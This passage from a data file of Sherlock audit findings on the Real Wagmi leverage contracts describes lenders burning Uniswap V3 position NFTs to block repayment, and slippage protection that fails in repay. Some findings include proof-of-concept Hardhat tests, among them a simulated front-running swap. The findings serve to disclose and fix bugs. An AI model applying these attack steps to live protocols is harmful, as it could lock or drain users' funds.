Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L494\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L494\n\n## Tool used\nManual Review\n\n## Recommendation\nSuggest to wrap external calls to underlyingPositionManager in try/catch and handle reverts by writing off loan from that specific liquidity position which has been burned.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/095.md"}} +{"title":"Creditor can maliciously burn UniV3 position to permanently lock funds","severity":"major","body":"Ancient Malachite Jay\n\nhigh\n\n# Creditor can maliciously burn UniV3 position to permanently lock funds\n## Summary\n\nLP NFT's are always controlled by the lender. Since they maintain control, malicious lenders have the ability to burn their NFT. Once a specific tokenID is burned the ownerOf(tokenID) call will always revert. This is problematic as all methodologies to repay (even emergency) require querying the ownerOf() every single token. Since this call would revert for the burned token, the position would be permanently locked.\n\n## Vulnerability Detail\n\n[NonfungiblePositionManager](https://etherscan.io/address/0xC36442b4a4522E871399CD717aBDD847Ab11FE88#code#F41#L114)\n\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n return _tokenOwners.get(tokenId, \"ERC721: owner query for nonexistent token\");\n }\n\nWhen querying a nonexistent token, ownerOf will revert. Now assuming the NFT is burnt we can see how every method for repayment is now lost.\n\n[LiquidityManager.sol#L306-L308](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L306-L308)\n\n address creditor = underlyingPositionManager.ownerOf(loan.tokenId);\n // Increase liquidity and transfer liquidity owner reward\n _increaseLiquidity(cache.saleToken, cache.holdToken, loan, amount0, amount1);\n\nIf the user is being liquidated or repaying themselves the above lines are called for each loan. This causes all calls of this nature to revert.\n\n[LiquidityBorrowingManager.sol#L727-L732](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L727-L732)\n\n for (uint256 i; i < loans.length; ) {\n LoanInfo memory loan = loans[i];\n // Get the owner address of the loan's token ID using the underlyingPositionManager contract.\n address creditor = underlyingPositionManager.ownerOf(loan.tokenId);\n // Check if the owner of the loan's token ID is equal to the `msg.sender`.\n if (creditor == msg.sender) {\n\nThe only other option to recover funds would be for each of the other lenders to call for an emergency withdrawal. The problem is that this pathway will also always revert. It cycles through each loan causing it to query ownerOf() for each token. As we know this reverts. The final result is that once this happens, there is no way possible to close the position.\n\n## Impact\n\nCreditor can maliciously lock all funds\n\n## Code Snippet\n\n[LiquidityBorrowingManager.sol#L532-L674](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532-L674)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nI would recommend storing each initial creditor when a loan is opened. Add try-catch blocks to each `ownerOf()` call. If the call reverts then use the initial creditor, otherwise use the current owner.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/078-best.md"}} +{"title":"If the token id has been burned, the borrower will not be able to repay the loan","severity":"major","body":"Colossal Tan Hyena\n\nmedium\n\n# If the token id has been burned, the borrower will not be able to repay the loan\n## Summary\nWhen a lender has burned the token ID, rendering the protocol incapable of increasing liquidity.\n\n\n## Vulnerability Detail\nDuring the repay process, the protocol will call the increaseLiquidity function of underlyingPositionManager contract with IncreaseLiquidityParams struct as argument.\n\n```solidity\n\n function _increaseLiquidity(\n address saleToken,\n address holdToken,\n LoanInfo memory loan,\n uint256 amount0,\n uint256 amount1\n ) private {\n // increase if not equal to zero to avoid rounding down the amount of restored liquidity.\n if (amount0 > 0) ++amount0;\n if (amount1 > 0) ++amount1;\n // Call the increaseLiquidity function of underlyingPositionManager contract\n // with IncreaseLiquidityParams struct as argument\n (uint128 restoredLiquidity, , ) = underlyingPositionManager.increaseLiquidity(\n INonfungiblePositionManager.IncreaseLiquidityParams({\n tokenId: loan.tokenId,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n\n```\nHowever,If the lender has already burned the token ID, the protocol will be unable to increase liquidity, resulting in the borrower being unable to repay their loan, causing bad debt in the protocol.\n\n## Impact\nThe borrowers will be unable to repay their loan, causing bad debt in the protocol.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L386-L407\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, the protocol should implement a mechanism to verify the availability and validity of token IDs before attempting to increase liquidity. This could involve a check to ensure that the token ID is still valid and not \"burned\" or otherwise unusable.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/070.md"}} +{"title":"Borrower cannot `repay()` if lender burns its NFT","severity":"major","body":"Rough Pearl Wombat\n\nhigh\n\n# Borrower cannot `repay()` if lender burns its NFT\n## Summary\n\nLenders approve their Uniswapv3 NFTs on the wagmi contract. When borrowers [`borrow()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L465) liquidity to long an asset, the NFT position's liquidity is decreased.\n\nLater when the borrower wants to [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) its loan, the tokens he borrowed are added back to the liquidity position. But if the liquidity position doesn't exist anymore then the call will revert not allowing borrowers to close their positions.\n\n## Vulnerability Detail\n\nIn the [`repay()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532C7-L532C7) function of the LiquidityBorrowingManager contract, we try to recreate the liquidity position of the lenders.\n\nThis happens in the [`_restoreLiquidity()`](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L650) function, where we pass all the loans that belong to the borrowing position.\n\nThere for each loan the function queries the NonfungiblePositionManager contract with the `tokenId` to get all the infos of the position and then will try to [`increaseLiquidity()`](https://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/NonfungiblePositionManager.sol#L198).\n\nBut if one of the loan position was burned by the lender after being borrowed, the call to the NonfungiblePositionManager will revert [here](https://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/NonfungiblePositionManager.sol#L100) as the `tokenId` doesn't exist anymore.\n\nConsider this POC that can be copied and pasted in the test files (replace all tests and just keep the setup & NFT creation):\n\n```js\nit(\"LEFT_OUTRANGE_TOKEN_1 borrowing liquidity (long position WBTC zeroForSaleToken = false) will be successful\", async () => {\n //create the borrowing position\n const amountWBTC = ethers.utils.parseUnits(\"0.05\", 8); //token0\n const deadline = (await time.latest()) + 60;\n const minLeverageDesired = 50;\n const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);\n\n const loans = [\n {\n liquidity: nftpos[3].liquidity,\n tokenId: nftpos[3].tokenId,\n },\n ];\n\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n\n let params: LiquidityBorrowingManager.BorrowParamsStruct = {\n internalSwapPoolfee: 500,\n saleToken: WETH_ADDRESS,\n holdToken: WBTC_ADDRESS,\n minHoldTokenOut: amountWBTC.mul(2), //<=TooLittleReceivedError\n maxCollateral: maxCollateralWBTC,\n externalSwap: swapParams,\n loans: loans,\n };\n\n await expect(borrowingManager.connect(bob).borrow(params, deadline)).to.be.reverted;\n\n params = {\n internalSwapPoolfee: 500,\n saleToken: WETH_ADDRESS,\n holdToken: WBTC_ADDRESS,\n minHoldTokenOut: amountWBTC,\n maxCollateral: maxCollateralWBTC,\n externalSwap: swapParams,\n loans: loans,\n };\n\n await borrowingManager.connect(bob).borrow(params, deadline);\n\n //Alice burns her NFT\n nonfungiblePositionManager.connect(alice).burn(nftpos[3].tokenId);\n });\n\n it(\"repay borrowing and restore liquidity (long position WBTC zeroForSaleToken = false) will be unsuccessful because NFT burned\", async () => {\n const borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);\n const deadline = (await time.latest()) + 60;\n const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\n swapTarget: constants.AddressZero,\n swapAmountInDataIndex: 0,\n maxGasForCall: 0,\n swapData: swapData,\n };\n let params = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n\n //BOB cannot repay his loan and loose his liquidation bonus and potential profits\n await expect(borrowingManager.connect(bob).repay(params, deadline)).to.be.revertedWith(\"Invalid token ID\");\n });\n```\n\n## Impact\n\nHigh. \n\n- Borrower will not be able to close its position, loosing his liquidation bonus and potential profits.\n- Position cannot be liquidated by liquidators/bots.\n- Since borrower will stop paying fees, lenders that didn't go rogue will not be earning anymore until they monitor their position and find out that they need to do an emergency liquidity restoration.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L627-L673\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding a vault/router contract that will hold the NFT positions so lenders cannot burn their positions.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//004-H/047.md"}} +{"title":"Issue with Borrower's Incentive in using this protocol","severity":"major","body":"Ancient Frost Albatross\n\nmedium\n\n# Issue with Borrower's Incentive in using this protocol\n## Summary\n\nAccording to the sponsor, the borrowers/traders profit from an increase in price in the hold token's value.\n![image](https://github.com/sherlock-audit/2023-10-real-wagmi-Maroutis/assets/118286466/a1d27e70-50b4-491b-8213-7b76c6e75c13)\n\nHowever, this isn't entirely true. The borrower can only make a profit from the slippage in the swap in the `repay` function. \nThis profit mechanism is circumstantial and may not provide clear or substantial incentives for users to borrow.\n\n## Vulnerability Detail\n\nBorrowers on the platform are expected to pay certain fees and a liquidation bonus. These costs seem to outweigh the primary method of profit, which is designed to be through slippage during swaps. The issue arises because:\n- Slippage is unpredictable and variable.\n- The borrowed funds are locked in a vault, restricting borrowers' flexibility.\n- Discrepancies between the developer's claims and actual benefits can lead to confusion and mistrust.\n\nPOC:\n\nLet's us consider the test \"repay borrowing and restore liquidity (long position WBTC zeroForSaleToken = false) will be successful\" in the WagmiLeverageTest.ts file.\n\nFor simplicity, let's consider that only one loan has been borrowed:\n```javascript\nconst loans = [\n {\n liquidity: nftpos[5].liquidity,\n tokenId: nftpos[5].tokenId,\n },\n ];\nparams = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n await borrowingManager.connect(bob).repay(params, deadline);\n ```\n\nAfter adding some logging, let's dissect the result:\n```solidity\nconsole.log(\"current fees\", currentFees/Constants.COLLATERAL_BALANCE_PRECISION);\ncurrent fees 1401\nconsole.log(\"Borrowed Amount\",borrowing.borrowedAmount);\nBorrowed Amount 12111183\nconsole.log(\"Liquidation bonus\",liquidationBonus);\nLiquidation bonus 94277\n```\nAs we can see here, Bob is only making a profit if the slippage gain outweighs liquidationBonus + current fees.\nNow inside the `_restoreLiquidity` function :\n```solidity\nconsole.log(\"Balance of holdtoken before Swap\",IERC20(cache.holdToken).balanceOf(address(this)));\nBalance of holdtoken before Swap 12205460\nconsole.log(\"Balance of saletoken before Swap\",IERC20(cache.saleToken).balanceOf(address(this)));\nBalance of saletoken before Swap 0\n\nconsole.log(\"saleTokenAmountOutbefore\", (saleTokenAmountOut * params.slippageBP1000) /\n Constants.BPS);\nsaleTokenAmountOutbefore before 993089349189290423\nconsole.log(\"Balance of holdtoken after swap\",IERC20(cache.holdToken).balanceOf(address(this)));\nBalance of holdtoken after swap 5387963\nconsole.log(\"Balance of saletoken after swap\",IERC20(cache.saleToken).balanceOf(address(this)));\nBalance of saletoken after swap 1002313303210717006\n\nconsole.log(\"Amount0 to increaseLiquidity\",amount0);\nAmount0 After 5293681\nconsole.log(\"Amount1 to increaseLiquidity\",amount1);\nAmount1 After 999997734913537898\n```\nThanks to the slippage, the actual amount swapped is stricly bigger than the amount1 expected for liquidity increase in the pool.\n```solidity\nThe final result are then :\nconsole.log(\"Balance of holdtoken after\",IERC20(cache.holdToken).balanceOf(address(this)));\nHow much borrower win holdtoken 94281\nconsole.log(\"Balance of saletoken after\",IERC20(cache.saleToken).balanceOf(address(this)));\nHow much borrower win saletoken 2315568297179107\n```\nIf we remove liquidationBonus + current fees = 95678 Hold tokens. The total P&L is : \n2315568297179107 Sale tokens - 1397 hold tokens. Which is a profitable strategy only if the P&L > 0. However, this strategy is clearly dependant on the profit that can be extracted from the swap slippage. This strategy is not necessarily dependant on the increase in token value as many parameters can impact the slippage. \nThe borrower might prefer to borrow the tokens from other protocol that offer CDP loans, use the tokens for leverage trading then repaying them with a profit.\n\n\n## Impact\n\nPotential reduction in user adoption due to unclear profitability, possible erosion of trust in the platform, and potential financial risks for borrowers.\nI consider this vulnerability to be high because, it can stop potential borrowers from using the platform. However, I still listed it as a medium for reason that it doesn't actually block and the loss of funds for the borrowers is limited to CollateralValue transfered when the borrow was first called.\n\n## Code Snippet\n\n`repay` function :\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532\n\n`_restoreLiquidity`:\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRe-assess and clearly communicate the profit mechanisms for borrowers. Consider revising the fee structure and introducing additional incentive mechanisms or utilities for borrowed funds to bolster borrower appeal.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/177.md"}} +{"title":"User may be unable to repay loan","severity":"major","body":"Proud Mocha Mustang\n\nhigh\n\n# User may be unable to repay loan\n## Summary\nUser may be unable to repay loan\n\n## Vulnerability Detail\nThe restoreLiquidity() function, which is responsible for selling tokens on Uniswap, calculates the slippage tolerance of a swap by querying the Uniswap Quoter contract: then the returned amount is used to calculate minimal amount of tokens the swap must result in.\n\nHowever, the Quoter contract is vulnerable to price manipulation attacks since it simply [performs a swap](https://github.com/Uniswap/v3-periphery/blob/main/contracts/lens/QuoterV2.sol#L138-L146) in the underlying Uniswap pools. A malicious actor can execute a sandwich attack, which will:\n1. Manipulate the price of a Uniswap pool that swaps a hold token to sale token;\n2. Returned saleTokenAmountOut will be zero or less than intended\n```solidity\n247: (saleTokenAmountOut, cache.sqrtPriceX96, , ) = underlyingQuoterV2\n```\n3. saleTokenAmountOut used for calculating min amount out. So amountOutMinimum will be 0 or less than intended\n```solidity\namountOutMinimum: (saleTokenAmountOut * params.slippageBP1000) / Constants.BPS\n```\n5. Then when swapping through _patchAmountsAndCallSwap or _v3SwapExactInput, the user may receive fewer tokens, making it impossible to restore liquidity due to the check in _increaseLiquidity()\n```solidity\n410: if (restoredLiquidity < loan.liquidity) {\n```\nAdditionally, there is another notable concern within the codebase. Numerous instances exist where 'amountMin' is hardcoded to 0 which is very unsafe.\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L882\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L892\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L403-L404\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L356-L357\n\n## Impact\nAn attacker can prevent user from repaying their loan\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L247\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L265\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L285-L287\n\n## Tool used\n\nManual Review\n\n## Recommendation\nFor second issue consider allowing users implement their own slippage","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/167.md"}} +{"title":"The borrower may receive lower profits because of slippage","severity":"major","body":"Jumpy Arctic Turkey\n\nhigh\n\n# The borrower may receive lower profits because of slippage\n## Summary\nThe borrower may receive lower profits because of slippage.\n## Vulnerability Detail\nThe _restoreLiquidity() function calculates the amount of hold tokens needed to swap for sale tokens. These tokens are used to [increase liquidity](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L308) for loans.\n\n```solidity\n// Calculate the hold token amount to be used for swapping\n (uint256 holdTokenAmountIn, uint256 amount0, uint256 amount1) = _getHoldTokenAmountIn(\n params.zeroForSaleToken,\n cache.tickLower,\n cache.tickUpper,\n cache.sqrtPriceX96,\n loan.liquidity,\n cache.holdTokenDebt\n ); \n```\n\nThe function uses a UniswapV2 pool to calculate the saleTokenAmountOut. \n\n```solidity\nuint256 saleTokenAmountOut;\n (saleTokenAmountOut, cache.sqrtPriceX96, , ) = underlyingQuoterV2\n .quoteExactInputSingle(\n IQuoterV2.QuoteExactInputSingleParams({\n tokenIn: cache.holdToken,\n tokenOut: cache.saleToken,\n amountIn: holdTokenAmountIn,\n fee: params.fee,\n sqrtPriceLimitX96: 0\n })\n ); \n```\n\nAnd then it performs a v3 swap, using the saleTokenAmountOut as a slippage parameter.\n\n```solidity\n_v3SwapExactInput(\n v3SwapExactInputParams({\n fee: params.fee,\n tokenIn: cache.holdToken,\n tokenOut: cache.saleToken,\n amountIn: holdTokenAmountIn,\n amountOutMinimum: (saleTokenAmountOut * params.slippageBP1000) /\n Constants.BPS\n })\n );\n```\nThe issue is that a malicious attacker can manipulate the uniswapV2 pool in such a way that the saleTokenAmountOut would be lower than expected. This could result in executing the uniswapV3 swap or the external swap without any slippage protection, which can cause the user to receive fewer sale tokens than anticipated, leading to a loss in profit.\n\nThe function increaseLiquidity() will only [revert](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L408-L425) if the amount of restored liquidity is less than the original loan liquidity amount. However, if the position is profitable, the loan can be restored without any issues. In such a case, the function won't be reverted.\n\nAfter increasing liquidity, the remaining tokens should be [distributed to users as profit](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L669-L670). However, due to the attacker's manipulation, It is possible that these profits could decrease or even be zero.\n## Impact\nThe user may receive less or no profit due to the attacker.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/b33752757fd6a9f404b8577c1eae6c5774b3a0db/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L223-L321\n## Tool used\n\nManual Review\n\n## Recommendation\nDon't use the saleTokenAmountOut as a slippage parameter.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//003-H/162.md"}} +{"title":"Absence of Slippage Protection in LiquidityBorrowingManager#repay","severity":"major","body":"Huge Honeysuckle Dolphin\n\nhigh\n\n# Absence of Slippage Protection in LiquidityBorrowingManager#repay\n## Summary\n\nThe repay function within LiquidityBorrowingManager currently lacks robust safeguards against slippage, potentially exposing borrowers to losses in their profits.\n\n## Vulnerability Detail\n\nConsider a scenario where a borrower's position is profitable, and after repaying their debt, they anticipate receiving the remaining tokens following liquidity restoration. This occurs at the conclusion of the [LiquidityBorrowingManager](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532) repay function.\n\n[LiquidityBorrowingManager.sol#L669-L670](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L669-L670)\n\n```solidity\n// Pay a profit to a msg.sender\n_pay(borrowing.holdToken, address(this), msg.sender, holdTokenBalance);\n_pay(borrowing.saleToken, address(this), msg.sender, saleTokenBalance);\n```\n\nThe issue arises from the fact that the borrower is paid whatever remains in the contract. This could be zero, even if the borrower initiated the repayment transaction with full awareness of their profitable position. The first part of the problem lies in the calculation of the liquidity restoration amount, which is determined based on stored liquidity figures and the current state of the pool ratio. The second part is that the borrower cannot specify the quantity of tokens they expect to receive.\n\nCurrent ratio for each lone position is calculated here in _getCurrentSqrtPriceX96.\n\n[LiquidityManager.sol#L331-L342](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331-L342)\n\n```solidity\nfunction _getCurrentSqrtPriceX96(\n bool zeroForA,\n address tokenA,\n address tokenB,\n uint24 fee\n) private view returns (uint160 sqrtPriceX96) {\n if (!zeroForA) {\n (tokenA, tokenB) = (tokenB, tokenA);\n }\n address poolAddress = computePoolAddress(tokenA, tokenB, fee);\n (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); // @audit Slot0 is easily manipulated\n}\n```\n\nThis function retrieves the current pool state from slot0, which is susceptible to changes between the creation of the borrower's repayment transaction and its processing. The 'sqrtPriceX96' value plays a crucial role in the subsequent call to QuoterV2, used to estimate the amount of sale tokens the contract will receive after swapping hold tokens.\n\n[LiquidityManager.sol#L246-L256](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L246-L256)\n\n```solidity\n// Quote exact input single for swap\nuint256 saleTokenAmountOut;\n(saleTokenAmountOut, cache.sqrtPriceX96, , ) = underlyingQuoterV2\n .quoteExactInputSingle(\n IQuoterV2.QuoteExactInputSingleParams({\n tokenIn: cache.holdToken,\n tokenOut: cache.saleToken,\n amountIn: holdTokenAmountIn,\n fee: params.fee,\n sqrtPriceLimitX96: 0\n })\n );\n```\n\nThe saleTokenAmountOut is later used for amountOutMinimum value when the swap is executed. Because the saleTokenAmountOut represents the outcome of this swap calculated via QuoterV2, slippage protection won't work. It is the same as using block.timestamp in smart contracts for deadline protection.\n\n[LiquidityManager.sol#L259-L287](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L259-L287)\n\n```solidity\n// Perform external swap if external swap target is provided\nif (externalSwap.swapTarget != address(0)) {\n _patchAmountsAndCallSwap(\n cache.holdToken,\n cache.saleToken,\n externalSwap,\n holdTokenAmountIn,\n (saleTokenAmountOut * params.slippageBP1000) / Constants.BPS // @audit Slippage protection won't work.\n );\n} else {\n // ...\n // Perform v3 swap exact input and update sqrtPriceX96\n _v3SwapExactInput(\n v3SwapExactInputParams({\n fee: params.fee,\n tokenIn: cache.holdToken,\n tokenOut: cache.saleToken,\n amountIn: holdTokenAmountIn,\n amountOutMinimum: (saleTokenAmountOut * params.slippageBP1000) / // @audit Slippage protection won't work.\n Constants.BPS\n })\n );\n // ...\n```\n\nIn another scenario, a borrower may not realize a profit, yet they should still receive their remaining collateral and liquidation bonus. Due to market condition changes that can occur between the creation of their transaction and its processing, these assets could also be at risk.\n\n### PoC\n\nI have updated the first repay test to demonstrate how output can change when ratio changes. Results for this demonstration aren't as big as they could be because WBTC/WETH is a big pool. This problem would be more severe for pools with lower liquidity because it is easier to move with the price.\n\nDemonstration logs values of two scenarios.\n\n1. Borrower expects a profit, repays loan and gets it.\n2. Borrower expects a profit, creates a transaction, another transaction is proccessed before his and because of it he gets less.\n\n[WagmiLeverageTests.ts#L424-L452](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L424-L452)\n\n```diff\nit(\"repay borrowing and restore liquidity (long position WBTC zeroForSaleToken = false) will be successful\", async () => {\n // ...\n+ await hackDonor(DONOR_ADDRESS,[alice.address],[{ tokenAddress: WETH_ADDRESS, amount: ethers.utils.parseEther('1000') },{ tokenAddress: WBTC_ADDRESS, amount: ethers.utils.parseUnits('100', 8) },]);\n+ await maxApprove(alice, router.address, [USDT_ADDRESS, WETH_ADDRESS, WBTC_ADDRESS]);\n\n+ // After next transaction the user should end up in profit\n+ await router.connect(alice).exactInputSingle({ tokenIn: WETH_ADDRESS, tokenOut: WBTC_ADDRESS, fee: 500, amountIn: ethers.utils.parseEther('500'), amountOutMinimum: 0, recipient: alice.address, deadline: (await time.latest()) + 60, sqrtPriceLimitX96: 0 });\n\n+ // Image the next swap happens after the user initiates transaction and before it is processed\n+ // Uncomment next line to log different values than user expects\n+ await router.connect(alice).exactInputSingle({ tokenIn: WBTC_ADDRESS, tokenOut: WETH_ADDRESS, fee: 500, amountIn: ethers.utils.parseUnits('50', 8), amountOutMinimum: 0, recipient: alice.address, deadline: (await time.latest()) + 60, sqrtPriceLimitX96: 0 });\n\n params = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 990, //1%\n };\n\n+ const wbtc = await ethers.getContractAt(\"IERC20\", WBTC_ADDRESS);\n+ console.log('Bob\\' WBTC balance before', (await wbtc.balanceOf(bob.address)).toString());\n+ console.log('Bob\\' WETH balance before', (await WETH.balanceOf(bob.address)).toString());\n\n await borrowingManager.connect(bob).repay(params, deadline);\n const rateInfo = await borrowingManager.getHoldTokenDailyRateInfo(WETH_ADDRESS, WBTC_ADDRESS);\n expect(rateInfo[1].totalBorrowed).to.be.equal(0);\n await time.increase(86400);\n\n+ console.log('Bob\\' WBTC balance after', (await wbtc.balanceOf(bob.address)).toString());\n+ console.log('Bob\\' WETH balance after', (await WETH.balanceOf(bob.address)).toString());\n});\n```\n\n| Transaction in the middle | Token | Before | After |\n|---------------------------|-------|----------------------|----------------------|\n| No | WETH | 99000000000000000018 | 99012225608862363471 |\n| Yes | WETH | 99000000000000000018 | 99005404442822551938 |\n\nAs you can see the outcomes, in the second scenario user expected 99012225608862363471 tokens, but received only 99005404442822551938. The difference is 6,821,166,039,811,533 wei ~ 0.00682 ether. \n\nIn current market conditions, it is around 12 USD (1676 USD for 1 ETH). In the time of market's all-time high where prices are even more volatile this would equal 33 USD (4891 for 1 ETH).\n\n## Impact\n\nThe repay function fails to offer adequate protection during token swaps from hold tokens to sale tokens. Furthermore, borrowers lack the ability to specify the minimum token amounts they anticipate, resulting in potential losses of profit, collateral, and liquidation bonus.\n\n## Code Snippet\n\n[LiquidityBorrowingManager.sol#L532](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L532)\n\n[LiquidityBorrowingManager.sol#L669-L670](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L669-L670)\n\n[LiquidityManager.sol#L331-L342](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L331-L342)\n\n[LiquidityManager.sol#L246-L256](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L246-L256)\n\n[LiquidityManager.sol#L259-L287](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L259-L287)\n\n[WagmiLeverageTests.ts#L424-L452](https://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/test/WagmiLeverageTests.ts#L424-L452)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo address this issue, it is advised to integrate Uniswap TWAP (Time-Weighted Average Price) for precise slippage protection during token swaps. Additionally, a parameter should be introduced to enable borrowers to specify the minimum token quantities they expect to receive, thus enhancing transparency and security.\n\nI found these params in test where slippage revert should be simulated.\n\n```typescript\nlet params: LiquidityBorrowingManager.RepayParamsStruct = {\n isEmergency: false,\n internalSwapPoolfee: 500,\n externalSwap: swapParams,\n borrowingKey: borrowingKey,\n swapSlippageBP1000: 1001, //<=slippage 